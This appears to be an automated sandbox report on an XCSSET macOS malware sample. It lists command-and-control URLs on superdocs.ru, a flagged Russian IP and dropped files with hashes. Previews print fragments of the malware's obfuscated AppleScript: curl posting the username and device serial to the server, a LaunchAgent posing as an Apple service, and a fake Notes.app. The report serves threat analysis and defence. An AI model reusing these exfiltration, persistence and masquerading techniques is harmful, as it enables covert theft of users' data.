                  https://superdocs.ru/agent/scripts/contacts.applescriptfalse
                    		unknown
                    https://superdocs.ru/agent/scripts/telegram.applescriptfalse
                      		unknown
                      https://superdocs.ru/agent/scripts/remove_old.applescriptfalse
                        		unknown
                        https://melindas.ru/sys/prepod.phptrue
                          		unknown
                          https://superdocs.ru/apple/com.phpfalse
                            		unknown
                            https://superdocs.ru/agent/scripts/listing.applescriptfalse
                              		unknown
                              https://superdocs.ru/agent/payload.php?serial=C07GV0KZPJH8&user=pedro&hash=&display_state=offfalse
                                		unknown
                                https://superdocs.ru/agent/scripts/telegram_lite.applescriptfalse
                                  		unknown
                                  https://superdocs.ru/agent/upload.php?serial=C07GV0KZPJH8false
                                    		unknown
                                    https://superdocs.ru/agent/bin/icons/Empty.icnsfalse
                                      		unknown

                                      World Map of Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public IPs

                                      IPDomainCountryFlagASNASN NameMalicious
                                      45.82.153.92
                                      		superdocs.ruRussian Federation
                                      		208845GLAVREGIONELEKTROSVYAZ-ASRUtrue

                                      Created / dropped Files

                                      /Users/pedro/Library/Caches/GitServices/.domain

                                      Download File
                                      Process:/bin/bash
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):13
                                      Entropy (8bit):3.2389012566026314
                                      Encrypted:false
                                      SSDEEP:3:6RdWLK:QUO
                                      MD5:A02FEEF1A4845127FF7C5DB9AFDE3143
                                      SHA1:9632636811A8C926A8F1D1163EB000234815AC4C
                                      SHA-256:018C3C0465651E2A6FA6F11C8089266DD62B6C835914B540D7FBE31EDBF42C05
                                      SHA-512:9C551FD41A56AE92CBDB73F478BA25625F9B65D559DA4BCCE926870A9A8A75C84551C76AEA366130E13EE80D2DBF66381EBE1FDEDB02F6F75B0C1983D047067D
                                      Malicious:false
                                      Reputation:low
                                      Preview:superdocs.ru.

                                      /Users/pedro/Library/Caches/GitServices/.plist

                                      Download File
                                      Process:/bin/bash
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):54
                                      Entropy (8bit):4.37824497572574
                                      Encrypted:false
                                      SSDEEP:3:DdV5XQeCWKdILAnn:DBQ1WKdIL4n
                                      MD5:FFFEBD886C75EC15580F2275FB81140C
                                      SHA1:92CE43A19D232DE15EECE6F5F74A117AF97C4F61
                                      SHA-256:C0B59CF42DDA2DC282314D8C2989603F05DB19094B9DD98112405DAED40684F4
                                      SHA-512:450C04FE03F78525AB8577589BEBBDA62DD43B46765BD111D46CEB81631AC330AB3030C0197DC2B89A5231E4486A15757B46B3AC1E01F42A92253BF07595E3E7
                                      Malicious:false
                                      Reputation:low
                                      Preview:/Users/pedro/Library/LaunchAgents/com.apple.spx.plist.

                                      /Users/pedro/Library/Caches/GitServices/.report

                                      Download File
                                      Process:/bin/bash
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):59
                                      Entropy (8bit):4.310692737765162
                                      Encrypted:false
                                      SSDEEP:3:DdV5JKjKHAXNTGVfv:DDxlfv
                                      MD5:1F9BA4AE7B9E680B86D0EC975604044D
                                      SHA1:4D9B26733872105689980FADD002FF796AD2C146
                                      SHA-256:1E121E741A17829D5818A32630E91876A0AF88C6B0E2ADFC29B7DC627E066C34
                                      SHA-512:56AC29E43B26FFEC3BCE5FB235AA558A4DA8DD25E7DE0203A45C043D6BAA5AC164BAD9E3E4CFE51F1BA4E9C0963FF71EB648962318B45CA31F45248FEA7D2E46
                                      Malicious:false
                                      Reputation:low
                                      Preview:/Users/pedro/Library/Group Containers/group.com.apple.mail.

                                      /Users/pedro/Library/Caches/GitServices/AppleWebKit

                                      Download File
                                      Process:/bin/cat
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):93
                                      Entropy (8bit):4.448904576734105
                                      Encrypted:false
                                      SSDEEP:3:JwWyWKV5JKjKHAXNTGVf/RzL8Vo0WbpVVOkv:pyWwxlfZnEo0e7nv
                                      MD5:850BC02D33AAAE950C6A77BE998068A6
                                      SHA1:3F98DC818171F562D23EBC9107C774D90C2170FA
                                      SHA-256:B9CA4CD6EE465E8ED3C7CEC6F45BC231D413F68F8DFF60360F6465E917004F29
                                      SHA-512:C7A9D731D819F5488E863B46C8BA23A701E3538F5B8EBEC2C5B296C33DB57DC7F73EE46F23A71DAE2F365A560CCE33211D11F3A1D3F15CD8E4283051F6430778
                                      Malicious:false
                                      Reputation:low
                                      Preview:'/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet'.

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plist

                                      Download File
                                      Process:/usr/bin/plutil
                                      File Type:XML document text
                                      Category:dropped
                                      Size (bytes):2063
                                      Entropy (8bit):4.96975429483394
                                      Encrypted:false
                                      SSDEEP:24:2dfyiwE6wIxMa6ryH4ov/lq5aGiQ2gGTG2gq1W2g20EG2gMaf2gNd52gma02gi/0:cfyWIxcOH1v9qUVP1F0S2d0a1XwT8A
                                      MD5:9494BE414A967F3A6DEF4EDE5163A2F2
                                      SHA1:DE04207A3342719F3F8E2A08A6979E83017F2456
                                      SHA-256:9A3980F20C6B3695B31CFCACAB042D1466D3E6BA35C488F2CD05E48EF1C788FE
                                      SHA-512:E0075A68C26139F20DF972EDF8E61166213A85CE990294191E5C320C520FADC4B65733F4A5E0881555D53B0FD5AD09DE5652F7AD70655EDF3E34F1C491F1F515
                                      Malicious:true
                                      Reputation:low
                                      Preview:<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>CFBundleAllowMixedLocalizations</key>..<true/>..<key>CFBundleDevelopmentRegion</key>..<string>en</string>..<key>CFBundleExecutable</key>..<string>applet</string>..<key>CFBundleIconFile</key>..<string>applet</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>Notes</string>..<key>CFBundlePackageType</key>..<string>APPL</string>..<key>CFBundleSignature</key>..<string>aplt</string>..<key>LSMinimumSystemVersionByArchitecture</key>..<dict>...<key>x86_64</key>...<string>10.6</string>..</dict>..<key>LSRequiresCarbon</key>..<true/>..<key>LSUIElement</key>..<true/>..<key>NSAppleEventsUsageDescription</key>..<string>This script needs to control other applications to run.</string>..<key>NSAppleMusicUsageDescription</key>..<string>This script needs access to your music

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet

                                      Download File
                                      Process:/usr/bin/osacompile
                                      File Type:Mach-O fat file with 2 architectures
                                      Category:dropped
                                      Size (bytes):99064
                                      Entropy (8bit):0.2898056715064808
                                      Encrypted:false
                                      SSDEEP:48:Pp+iuaLkXX3WXoHcbX1Aa2sw8O+SnOKqe12swqNCHwljVpb:P7rkDVw0CQlT
                                      MD5:FA2B569A8DF80B2269F7ABA6277CC0C2
                                      SHA1:B6F249F0597C5072992B7C985FF2C9F7B82287ED
                                      SHA-256:CBF2F65C38D6EF95533EC02902E75B79FB607D06B1DEA0C4049DCA1EC74FDD7B
                                      SHA-512:9CFA9018E8B5081C0E68F22125B6A3B13453105011DA3BF5577FBDC21609338F7CD45FF8FCB6D357629F1901FD0A157321D44D36E84C3FC139CA88C6C5A2F94F
                                      Malicious:true
                                      Reputation:low
                                      Preview:..................@.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet.cstemp

                                      Download File
                                      Process:/usr/bin/codesign
                                      File Type:Mach-O fat file with 2 architectures
                                      Category:dropped
                                      Size (bytes):135933
                                      Entropy (8bit):0.37532898478995064
                                      Encrypted:false
                                      SSDEEP:48:ybo+iuaLkXX3WXoHcbXaAa2sw0O+SnOKhe12swrNCHwljVpxsbng6rOVjGsbFQwG:CWrPXV5rCQl6bgOmTbqbgUKbgBN
                                      MD5:F04D8185EB0AA828DBE0B1AAC8104C66
                                      SHA1:85BFD24EF6556AE123C7575ED7FE9CAFBBB47267
                                      SHA-256:A560BA2D0622B0E963559BFE8DFF26A03E0E057F9A7219DD93EACEA27FF58982
                                      SHA-512:CC5144650CD6D1B13D1514B8DB204BD1B4B964247A22295501A1A1454231880AF485BEAEDD0AF086D58815928AC77E2F5B0ECC97A535B708B4297A730D9F7D50
                                      Malicious:true
                                      Reputation:low
                                      Preview:..................@...................@.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/PkgInfo

                                      Download File
                                      Process:/usr/bin/osacompile
                                      File Type:ASCII text, with no line terminators
                                      Category:dropped
                                      Size (bytes):8
                                      Entropy (8bit):2.75
                                      Encrypted:false
                                      SSDEEP:3:kqtn:Btn
                                      MD5:DB6F4017A24D2CB070AD3DE12ADB78F4
                                      SHA1:94FDBEE3E734A2DF38FD68BE4837E8FEF066F005
                                      SHA-256:412D70757C4FDECDD73355AC4BB3BA80C6705110D15CFBC9FE925E7B4FAF7962
                                      SHA-512:DECF0A4297001FE030BBEBA5748A72E9685A4590C83A90EC512DC28412A4A4F89E8CE97D1C8824309F50D9EA111E42C9428714017BDAD47FF3FD7D241E19A352
                                      Malicious:false
                                      Reputation:low
                                      Preview:APPLaplt

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a

                                      Download File
                                      Process:/usr/bin/osacompile
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):20490
                                      Entropy (8bit):5.145026965106306
                                      Encrypted:false
                                      SSDEEP:384:N8sbbzS7jn9IDcvv4TDcFZAiotICsUHlxKpeTUvjy1VsJqnyj70JEi:inGDOaGqH+i
                                      MD5:9E3479F73F1410D2F4678AD8F982D69C
                                      SHA1:5F6038E2747C22FB82B854AD4A3A6E8398A6201D
                                      SHA-256:E8573171A513C2E63ECC06DE33B28E2F6CEEE59494A8AC819BFC0943E0BBB0DA
                                      SHA-512:FDDCAF9DB5D0E19BFEDEC9D85591ED14675D9394688F20EF3897848B66EB9EAEDA67ED8D7ECBF320567845D431E83CFEBFDAC95573D5323900F071E70DFBD772
                                      Malicious:true
                                      Yara Hits:
                                      • Rule: JoeSecurity_XCSSET, Description: Yara detected XCSSET, Source: /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a, Author: Joe Security
                                      Reputation:low
                                      Preview:FasdUAS 1.101.10.......................................................................................ascrcmnt****........****.....0..launchapp..launchApp.....0..isinstalled..isInstalled.....0..boot.......0..isconnectedtointernet..isConnectedToInternet.....0..initapp..initApp.....0..connloop..connLoop......aevtoappnull........****..........................ascrcmnt****........****..........0..message...................0..message.........................................strq..............X.X.0.0.0.0.0.0.0.0.X.X.....0..serialnumber..serialNumber..............i.o.r.e.g. .-.c. .I.O.P.l.a.t.f.o.r.m.E.x.p.e.r.t.D.e.v.i.c.e. .-.d. .2. .|. .a.w.k. .-.F.\.". .'./.I.O.P.l.a.t.f.o.r.m.S.e.r.i.a.l.N.u.m.b.e.r./.{.p.r.i.n.t. .$.(.N.F.-.1.).}.'......sysoexecTEXT........TEXT......................F.c.u.r.l. .-.k. .-.s. .-.-.c.o.n.n.e.c.t.-.t.i.m.e.o.u.t. .1.4. .-.d. .............. .-.H. .'.X.-.I.d.:. ..............'. .-.H. .'.X.-.U.s.e.r.s.:. .....0..username..userName..............'. .-.H. .'.X.-.M.o.

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt

                                      Download File
                                      Process:/bin/bash
                                      File Type:UTF-8 Unicode text
                                      Category:dropped
                                      Size (bytes):1699
                                      Entropy (8bit):5.10229474859012
                                      Encrypted:false
                                      SSDEEP:24:6QBQS3f3lFFGep5lBTNbahb5P+Fc8uVknVZhsfAR8F4A6P5cN:6QBFh5lZNbCb5qc/qnXhsfbF0P52
                                      MD5:99383436EAE8893069C1C30A932DCAC5
                                      SHA1:25C7A4F5115E1EAF6078FB76B2619D8106EE3C29
                                      SHA-256:DACDEC78B164539B27DD5EE773AEB5C6BC4C53CF5EA7E0BCE123F39F324F3D8E
                                      SHA-512:81D6037B7C5562EC5B44D75A7640506E13A36A46A6C22139A1B0CF9FC81A6151973194C9161A2DBD27F28F6187079E74AB72BE5F8D434CCDC8FCE717269ECD94
                                      Malicious:false
                                      Reputation:low
                                      Preview:global ds.global d.global di..set ds to {"........................", "......................", "......................", "........................", "........................", "........................"}..set di to 1.set d to item di of ds..on xe(_str)..set x to id of _str..repeat with c in x...set contents of c to c - (102 - 2)..end repeat..return string id x.end xe..on xex(_str)..set x to id of _str..repeat with c in x...set contents of c to c - (102 - 1)..end repeat..return string id x.end xex..on m()....-- log "domain used " & xe(d)....set dF to POSIX path of ((path to me as text) & "::")....set tF to quoted form of (dF & xex("....................")) -- /Containers....do shell script "rm -rf " & tF..set a to "123"..do shell script "mkdir -p " & tF....set f to quoted form of (dF & xex("........................")) -- /Containers/a....set un to do shell script xe("............") -- whoami....do shell script "curl -sk -d '" & xe("........") & "=" & un & "&" & xex("....................

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/main.scpt

                                      Download File
                                      Process:/usr/bin/osacompile
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):500
                                      Entropy (8bit):4.508532280423071
                                      Encrypted:false
                                      SSDEEP:12:eFvsgY3J2dRX8EfWlmvn1E2Nc1R/6ywwmKlFt3nbprNLn:eFEBJ2dV8E7/O2W1Ryywwm+FtLFNLn
                                      MD5:7BF9ECE969AF9A7C9D946C22317D175C
                                      SHA1:FFAF6E9ADACD9B502274910CE8723DDD3CC69F2A
                                      SHA-256:49BFF1EE08E9EB4E56064B7E3F9115322F29CA3813FB9D20D7E85436C34389EC
                                      SHA-512:FAB3A772CDC320DDE64BB41BE5742F1C4A76BE952D06981537E7C648A25D301726162B4099D9DE926809F8674D897DB43FB5EC7786000A4237EDA4B550699C20
                                      Malicious:true
                                      Reputation:low
                                      Preview:FasdUAS 1.101.10...........................................................aevtoappnull........****..........................aevtoappnull........****...............................................o.s.a.s.c.r.i.p.t. .'./.U.s.e.r.s./.p.e.d.r.o./.L.i.b.r.a.r.y./.G.r.o.u.p. .C.o.n.t.a.i.n.e.r.s./.g.r.o.u.p...c.o.m...a.p.p.l.e...m.a.i.l./.N.o.t.e.s...a.p.p./.C.o.n.t.e.n.t.s./.R.e.s.o.u.r.c.e.s./.S.c.r.i.p.t.s./.a...s.c.p.t.'......sysoexecTEXT........TEXT...................j...OPW..X....h.ascr........

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icns

                                      Download File
                                      Process:/bin/cp
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):62335
                                      Entropy (8bit):7.967218049931705
                                      Encrypted:false
                                      SSDEEP:1536:hAgVB6oHqAKvGygwUUCj2zbvop32ZnUa4QxO:nVBzKAea1nSzDO2tUlb
                                      MD5:09381658C2E6AD1C4E19C665F8970874
                                      SHA1:9D4E7A9CA373009C84B49CFE81B748FB1AF77F02
                                      SHA-256:8511D134AE4FACE6164A7510BC4023735098D6406F6941425B5697C6D6CB8B77
                                      SHA-512:53C0D678FCEC4382256EBFA81A3B2A14EB4CAD8AD6456046871D0516C5C8D0347BCE9CFB5742971C1A44772ADFFB2236D591D83D4D9F917706DD38A7EDE79D0F
                                      Malicious:true
                                      Reputation:low
                                      Preview:icns....TOC ...0is32...Us8mk....ic11...5ic07..-lic13...Iis32...U................................................................................................."........................................................................................................................."......G[_.`.\J.../.?.1..................*.....................................................................!..s8mk........$&&&&&&%.................. .................................%..............%&..............&&..............&&..............&&..............&&..............&&..............&%..............%............... ..............................".....%&&&&&&%....ic11...5.PNG........IHDR... ... .....szz.....sRGB........xeXIfMM.*.................>...........F.(...........i.........N............................................. ........... ....~..R....pHYs...%...%.IR$....NIDATX..W.k.A...4....7...EQT.j.AD.(T."...,(=H..O...B.z.D....<....Z.........M.6...Y.o...jbZ!.G.........7.YY.Nru...V%.r.C'X.'.....[

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.rsrc

                                      Download File
                                      Process:/usr/bin/osacompile
                                      File Type:MS Windows icon resource
                                      Category:dropped
                                      Size (bytes):410
                                      Entropy (8bit):0.9107158394591011
                                      Encrypted:false
                                      SSDEEP:3:tltlBVltlBnlFXlfTQl/5Tp0W3ll7p2P/3X+WTf:t1D1llPMGWDK3uWD
                                      MD5:C6C7D7FBDDAE2EE65AD8E923225D6952
                                      SHA1:01010E800BE0AD1D82AC8897642EF98AD7C17B68
                                      SHA-256:744E59E2A8288B799D84AB7EC718827BD63A8C81806F6C95AB5DBDCAB3AC49AF
                                      SHA-512:AD93DFF1C6661ADFB11C5CEC1B1DED2D5EC6064B196E607F4A6C840EBF9B245EEC73E826045654E8918D553A1A5E3121055525F65DA00F40ABB19AFCBCEC7721
                                      Malicious:false
                                      Reputation:low
                                      Preview:....................................................................................................................................................................................................................................................................................................@......................................$...$...F...........F..scsz....spsh...................................$...$...F

                                      /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/_CodeSignature/CodeResources

                                      Download File
                                      Process:/usr/bin/codesign
                                      File Type:XML document text
                                      Category:dropped
                                      Size (bytes):3128
                                      Entropy (8bit):5.021373299737914
                                      Encrypted:false
                                      SSDEEP:96:CyAtWwSvGEtP0kYT2BLDzFNQpO/YTbJvy:XH3tMEDzko
                                      MD5:BC5E8A38A0DB28AF546723544A0054FC
                                      SHA1:249CB7E29D99312D2515A103C293BC216E8B5676
                                      SHA-256:FF2E10BF3FD802C806C364369C31A18A9B98A121D5577A6A072E20510AA61C62
                                      SHA-512:152977FC6E8376516E08857C088248704174A2CA49127B5F3513B35DFCF39D4E31A20B8DFA98D98D60EC30BB78B0DFBFD32E7B76D13A5A154C210661881697AF
                                      Malicious:false
                                      Reputation:low
                                      Preview:<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>files</key>..<dict>...<key>Resources/Scripts/main.scpt</key>...<data>.../69umtrNm1AidJEM6HI93TzGnyo=...</data>...<key>Resources/applet.icns</key>...<data>...sINd6lbiqHD5dL8c6u79cFvVXhw=...</data>...<key>Resources/applet.rsrc</key>...<data>...ar5xmDs9mPpaINVXiVlVqUCB8ao=...</data>..</dict>..<key>files2</key>..<dict>...<key>Resources/Scripts/main.scpt</key>...<dict>....<key>hash</key>....<data>..../69umtrNm1AidJEM6HI93TzGnyo=....</data>....<key>hash2</key>....<data>....Sb/x7gjp605WBkt+P5EVMi8pyjgT+50g1+hUNsNDiew=....</data>...</dict>...<key>Resources/applet.icns</key>...<dict>....<key>hash</key>....<data>....sINd6lbiqHD5dL8c6u79cFvVXhw=....</data>....<key>hash2</key>....<data>....J7weZ6vlnv9r32tS5HFcyuPXl2StdDnfepLxAixlryk=....</data>...</dict>...<key>Resources/applet.rsrc</key>...<dict>....<key>hash</key>....<dat

                                      /Users/pedro/Library/LaunchAgents/com.apple.spx.plist

                                      Download File
                                      Process:/bin/cat
                                      File Type:XML document text
                                      Category:dropped
                                      Size (bytes):636
                                      Entropy (8bit):5.090777966119371
                                      Encrypted:false
                                      SSDEEP:12:TMHdgo+tJVEdQiCXYn9cJASPeEJ+AtLBw4LBD:2dfyiwPLJTRx
                                      MD5:AB5E4D9C02A176D68D7E404C7761E22F
                                      SHA1:F1E24EC639A0669B711FEE3849E9082042F776F1
                                      SHA-256:E60C9C8A34807E836B6D3D0C5C96160D89F41F8857A944C3CEF62E05FB9016D8
                                      SHA-512:824CEDBE419CF54B50D8E1FC0C4B057929F76DF64D988327CF31D48C81A254903EFE1964383BCB0A4D21B62859B38CC95651689939E5386D3C02FD7B92BFEEF9
                                      Malicious:true
                                      Reputation:low
                                      Preview:<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">..<dict>...<key>Label</key>...<string>demo</string>...<key>Program</key>...<string>/bin/bash</string>...<key>ProgramArguments</key>...<array>....<string>bash</string>....<string>/Users/pedro/Library/Caches/GitServices/AppleWebKit</string>...</array>...<key>RunAtLoad</key>...<true/>...<key>StandardErrorPath</key>...<string>/dev/null</string>...<key>StandardOutPath</key>...<string>/dev/null</string>...<key>StartInterval</key>...<integer>21600</integer>..</dict>.</plist>.

                                      /dev/null

                                      Download File
                                      Process:/usr/bin/osascript
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):66
                                      Entropy (8bit):4.811302028672787
                                      Encrypted:false
                                      SSDEEP:3:tXLuYEvwDOBVfUTQ3eVRWOv:VuYhOX8uKkA
                                      MD5:FF75A2AAA63ACE77D30399C9F1E58A0F
                                      SHA1:CD4781A9ACDE06D3A91E9FD943DD11C54DEDFD36
                                      SHA-256:0FB972AF2766CAC17E16F2D5637C4EA29280896D53EC9223DF4B3F1D7E1F2011
                                      SHA-512:371707C59E539957857A18AA1BC4C73FD16C85F5D42E6E4F47F5A59A57B16326ECBAB7C5D5C2BA9C99E21EF4601FDDCD6A50133DBDE41D1ED86394070055C379
                                      Malicious:false
                                      Reputation:low
                                      Preview:2022-08-24 13:18:43.319 osascript[1037:16578] ApplePersistence=NO.

                                      /private/var/tmp/sh-thd-1661359170

                                      Download File
                                      Process:/bin/bash
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):152
                                      Entropy (8bit):4.542576005868008
                                      Encrypted:false
                                      SSDEEP:3:ivOsBeblWV9T4K8GKV5JKjKHAXNTGVf/RzL8Vo0WhWLXfOI:ivDBebMVB4K8GwxlfZnEo0djf
                                      MD5:D912FFF3B04ADE86E17A0C8AA381A68F
                                      SHA1:144F5DCC9299FF3179E393C9EFFD14BA954338BC
                                      SHA-256:E4AC5C8EA060A2AD31CC81496AB2074C570AE55DA8AA9DBB141A72B021549667
                                      SHA-512:E4D18F9931C67F59D98BEF23486FC4D5A470D752FD3415B2765B910764853B6D6D64661F4C24F6F116DC6AFB546D016E5B2C9E63A25C913AC13D6E5EC4DA6EAB
                                      Malicious:false
                                      Reputation:low
                                      Preview:.try....do shell script "osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt'"...end try..

                                      /private/var/tmp/sh-thd-2768930856

                                      Download File
                                      Process:/bin/bash
                                      File Type:UTF-8 Unicode text
                                      Category:dropped
                                      Size (bytes):1700
                                      Entropy (8bit):5.1018108642470485
                                      Encrypted:false
                                      SSDEEP:24:6QBQS3f3lFFGep5lBTNbahb5P+Fc8uVknVZhsfAR8F4A6P5c9:6QBFh5lZNbCb5qc/qnXhsfbF0P5I
                                      MD5:82601DA2F69729B7E2B8CA15189F55A6
                                      SHA1:AB7A8E358324FDC003DA149614FB41678BBDAD1B
                                      SHA-256:0731ADF16FB49825EEBA981344C7B0E0D12E6F1102C90A7538F2CF0865EDB0E2
                                      SHA-512:CE0087CE13D1FF1D431C787CDB40B4D6A3DCBE92D3FA7C644DAA693E91F9508C8F664A25361A9EB910E3A94C8350832544523EF4A9CFCF14AC3B9BCF625623E0
                                      Malicious:false
                                      Reputation:low
                                      Preview:global ds.global d.global di..set ds to {"........................", "......................", "......................", "........................", "........................", "........................"}..set di to 1.set d to item di of ds..on xe(_str)..set x to id of _str..repeat with c in x...set contents of c to c - (102 - 2)..end repeat..return string id x.end xe..on xex(_str)..set x to id of _str..repeat with c in x...set contents of c to c - (102 - 1)..end repeat..return string id x.end xex..on m()....-- log "domain used " & xe(d)....set dF to POSIX path of ((path to me as text) & "::")....set tF to quoted form of (dF & xex("....................")) -- /Containers....do shell script "rm -rf " & tF..set a to "123"..do shell script "mkdir -p " & tF....set f to quoted form of (dF & xex("........................")) -- /Containers/a....set un to do shell script xe("............") -- whoami....do shell script "curl -sk -d '" & xe("........") & "=" & un & "&" & xex("....................

                                      /private/var/tmp/sh-thd-4984095783

                                      Download File
                                      Process:/bin/bash
                                      File Type:ASCII text
                                      Category:dropped
                                      Size (bytes):93
                                      Entropy (8bit):4.448904576734105
                                      Encrypted:false
                                      SSDEEP:3:JwWyWKV5JKjKHAXNTGVf/RzL8Vo0WbpVVOkv:pyWwxlfZnEo0e7nv
                                      MD5:850BC02D33AAAE950C6A77BE998068A6
                                      SHA1:3F98DC818171F562D23EBC9107C774D90C2170FA
                                      SHA-256:B9CA4CD6EE465E8ED3C7CEC6F45BC231D413F68F8DFF60360F6465E917004F29
                                      SHA-512:C7A9D731D819F5488E863B46C8BA23A701E3538F5B8EBEC2C5B296C33DB57DC7F73EE46F23A71DAE2F365A560CCE33211D11F3A1D3F15CD8E4283051F6430778
                                      Malicious:false
                                      Reputation:low
                                      Preview:'/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet'.

                                      /private/var/tmp/sh-thd-4984109211

                                      Download File
                                      Process:/bin/bash
                                      File Type:XML document text
                                      Category:dropped
                                      Size (bytes):636
                                      Entropy (8bit):5.090777966119371
                                      Encrypted:false
                                      SSDEEP:12:TMHdgo+tJVEdQiCXYn9cJASPeEJ+AtLBw4LBD:2dfyiwPLJTRx
                                      MD5:AB5E4D9C02A176D68D7E404C7761E22F
                                      SHA1:F1E24EC639A0669B711FEE3849E9082042F776F1
                                      SHA-256:E60C9C8A34807E836B6D3D0C5C96160D89F41F8857A944C3CEF62E05FB9016D8
                                      SHA-512:824CEDBE419CF54B50D8E1FC0C4B057929F76DF64D988327CF31D48C81A254903EFE1964383BCB0A4D21B62859B38CC95651689939E5386D3C02FD7B92BFEEF9
                                      Malicious:false
                                      Reputation:low
                                      Preview:<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">..<dict>...<key>Label</key>...<string>demo</string>...<key>Program</key>...<string>/bin/bash</string>...<key>ProgramArguments</key>...<array>....<string>bash</string>....<string>/Users/pedro/Library/Caches/GitServices/AppleWebKit</string>...</array>...<key>RunAtLoad</key>...<true/>...<key>StandardErrorPath</key>...<string>/dev/null</string>...<key>StandardOutPath</key>...<string>/dev/null</string>...<key>StartInterval</key>...<integer>21600</integer>..</dict>.</plist>.

                                      Static File Info

                                      General

                                      File type:Mach-O 64-bit executable
                                      Entropy (8bit):0.24113538786665298
                                      TrID:
                                      • Mac OS X Mach-O 64bit Intel executable (20004/1) 100.00%
                                      File name:exec.2430808
                                      File size:1061683
                                      MD5:1ce8099c5bb8fbe715ae7c546c46a526
                                      SHA1:127b66afa20a1c42e653ee4f4b64cf1ee3ed637d
                                      SHA256:483b2f45a06516439b1dbfedda52f135a4ccdeafd91192e64250305644e5ff48
                                      SHA512:935314486737963e2a9322d42543ae974bc021b469471335cda9b1bc479714891d3b73a6c0426483bf7bd5acc3a7adceb3bc2e7b734b8b0084f4c94befdcd0ac
                                      SSDEEP:384:TiQoZUBicbTt2mj8R887rg6ZHoKyWtptTerJscJ4zj6+amd0+:TijakUTF4O4ZIMDQXins
                                      TLSH:6B358E262B09EA66D16DC474ACEF8B875917F9300D6993138ED0CE782FDD798191074F
                                      File Content Preview:.......................... .........H...__PAGEZERO..............................................................__TEXT...................@...............@......................__text..........__TEXT..........P1..............P1.............................

                                      Static Mach Info

                                      General Information for header 1
                                      Endian:<
                                      Size:64-bit
                                      Architecture:x86_64
                                      Filetype:execute
                                      Nbr. of load commands:16
                                      Entry point:0x3CF0
                                      segment_command_64 aggregated: 5
                                      NameValue
                                      segname__PAGEZERO
                                      vmaddr0x0
                                      vmsize0x100000000
                                      fileoff0x0
                                      filesize0x0
                                      maxprot0x0
                                      initprot0x0
                                      nsects0
                                      flags0x0
                                      NameValue
                                      segname__TEXT
                                      vmaddr0x100000000
                                      vmsize0x4000
                                      fileoff0x0
                                      filesize0x4000
                                      maxprot0x5
                                      initprot0x5
                                      nsects5
                                      flags0x0
                                      Datas
                                      sectnamesegnameaddrsizeoffsetentropyalignreloffnrelocflags
                                      __text__TEXT0x1000031500xC9E0x31505.49910x40x000x80000400
                                      __stubs__TEXT0x100003DEE0x840x3DEE2.99490x10x000x80000408
                                      __stub_helper__TEXT0x100003E740xEC0x3E743.53910x20x000x80000400
                                      __cstring__TEXT0x100003F600x500x3F604.49990x00x000x2
                                      __unwind_info__TEXT0x100003FB00x480x3FB01.61060x20x000x0
                                      NameValue
                                      segname__DATA_CONST
                                      vmaddr0x100004000
                                      vmsize0x4000
                                      fileoff0x4000
                                      filesize0x4000
                                      maxprot0x3
                                      initprot0x3
                                      nsects1
                                      flags0x10
                                      Datas
                                      sectnamesegnameaddrsizeoffsetentropyalignreloffnrelocflags
                                      __got__DATA_CONST0x1000040000x200x4000-0.00000x30x000x6
                                      NameValue
                                      segname__DATA
                                      vmaddr0x100008000
                                      vmsize0x4000
                                      fileoff0x8000
                                      filesize0x4000
                                      maxprot0x3
                                      initprot0x3
                                      nsects3
                                      flags0x0
                                      Datas
                                      sectnamesegnameaddrsizeoffsetentropyalignreloffnrelocflags
                                      __la_symbol_ptr__DATA0x1000080000xB00x80002.22820x30x000x7
                                      __data__DATA0x1000080B00x314E0x80B07.98610x40x000x0
